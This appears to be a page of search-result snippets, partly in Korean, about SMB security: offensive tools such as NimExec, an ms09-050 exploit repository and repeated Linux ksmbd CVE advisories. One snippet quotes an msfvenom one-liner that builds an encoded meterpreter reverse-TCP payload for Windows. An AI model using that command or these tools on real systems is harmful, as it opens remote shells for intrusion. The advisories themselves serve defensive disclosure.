Titanis

문서 사이트에서 사용자 가이드 보기 소개 Titanis는 Windows 환경과 상호 작용하기 위한 C으로 작성된 프로토콜 구현 및 명령줄 유틸리티 라이브러리입니다. .NET 8을 사용하며 크로스 플랫폼Windows 및 Linux을 지원합니다. 구현된 프로토콜 중 일부는 다음과 같습니다: SMB2 MS-SMB2 SMB 2.x 및 3.x, 최대 3.1.1 서명 및 암호화와 같은 메시지 보안 기능 파일 시스템 제어 코드 지원 포함 MS-FSCC DFS 링크 MS-DFSC MSRPC MS-RPCE 엔드포인트 매퍼 DCOM MS-DCO...

NimExec

NimExec 기본적으로 NimExec는 SCMRService Control Manager Remote Protocol을 사용하는 파일리스 원격 명령 실행 도구입니다. LocalSystem이 실행하는 무작위 또는 지정된 서비스의 바이너리 경로를 변경하여 대상에서 주어진 명령을 실행한 후, WinAPI 호출 대신 수제작된 RPC 패킷을 통해 나중에 복원합니다. 이러한 패킷은 SMB2와 svcctl 명명된 파이프를 통해 전송됩니다. NimExec는 대상 머신에 인증하기 위해 NTLM 해시가 필요하며, 수제작된 패킷을 통해 NTLM...

nmap-nse-scripts

NSENmap Scripting Engine 개발을 위한 저장소입니다. 제 스크립트비공식 포함, 라이브러리, 리소스 및 워크숍 관련 자료를 찾을 수 있습니다. TODO -Finishing SMB2 NSE 라이브러리 마무리 중 -Currently working on 비밀번호 변형 기능 작업 중 Paulino Calderon calderonwebsec.mx http://calderonpale.com...

ms09-050_CVE-2009-3103

ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 Windows용 페이로드를 생성/제작하는 원라이너 msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars “\x00” --encoder x86/shikataganai --iterations 10 --format exe --out /path/ meterpreter를 시작하는 원라이너...

SMB-LINUX-CVE-2025-37899

Linux 커널 ksmbd의 Use-After-Free 취약점 CVE-2025-37899 설명 Linux 커널의 ksmbd 모듈에서 use-after-free 유형의 취약점이 발견되었습니다. 이 모듈은 네트워크 파일 공유를 위한 SMBServer Message Block 프로토콜 구현을 담당합니다. CVE-2025-37899로 식별된 이 취약점은 상승된 권한으로 원격 코드 실행을 허용할 수 있습니다. 소개 이 발견은 연구원 Sean Heelan이 OpenAI의 o3 모델을 사용하여 이루어졌으며, 복잡한 취약점 식별에 있어...

DEBIAN-CVE-2026-97560

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix one-byte OOB read in smb2parsenativesymlink When parsing a share-root relative native symlink, memcpy copies smbtarget+1 skipping the leading separator but uses strlensmbtarget+1 as the length, reading one byte...

UBUNTU-CVE-2026-97560

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix one-byte OOB read in smb2parsenativesymlink When parsing a share-root relative native symlink, memcpy copies smbtarget+1 skipping the leading separator but uses strlensmbtarget+1 as the length, reading one byte...

CVE-2026-97560: Undefined Security Weakness

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix one-byte OOB read in smb2parsenativesymlink When parsing a share-root relative native symlink, memcpy copies smbtarget+1 skipping the leading separator but uses strlensmbtarget+1 as the length, reading one byte...

PT-2026-98500

Name of the Vulnerable Software and Affected Versions Linux kernel affected versions not specified Description An out-of-bounds read of one byte occurs in the smb2 parse native symlink function when parsing a share-root relative native symlink. The issue arises because memcpy copies data starting...

SUSE CVE-2026-93282

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not consider an Authenticated Users ACE, even though an authenticated sessi...

DEBIAN-CVE-2026-93282

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not consider an Authenticated Users ACE, even though an authenticated sessi...

AZL-103583 CVE-2026-93282 affecting package kernel 6.6.157.1-1

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not consider an Authenticated Users ACE, even though an authenticated sessi...

CVE-2026-93282

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not consider an Authenticated Users ACE, even though an authenticated sessi...

UBUNTU-CVE-2026-93282

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not consider an Authenticated Users ACE, even though an authenticated sessi...

CVE-2026-93282 ksmbd: fix maximum allowed access checks

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not consider an Authenticated Users ACE, even though an authenticated sessi...

CVE-2026-93282 ksmbd: fix maximum allowed access checks

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not consider an Authenticated Users ACE, even though an authenticated sessi...

CVE-2026-93282: Undefined Security Weakness

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not consider an Authenticated Users ACE, even though an authenticated sessi...

CVE-2026-93282

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not consider an Authenticated Users ACE, even though an authenticated sessi...

Linux Distros Unpatched Vulnerability : CVE-2026-93282

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not...

PT-2026-97969

Name of the Vulnerable Software and Affected Versions Linux kernel affected versions not specified Description An issue exists in the ksmbd module regarding maximum allowed access checks. The DACL Discretionary Access Control List permission check fails to consider the Authenticated Users ACE...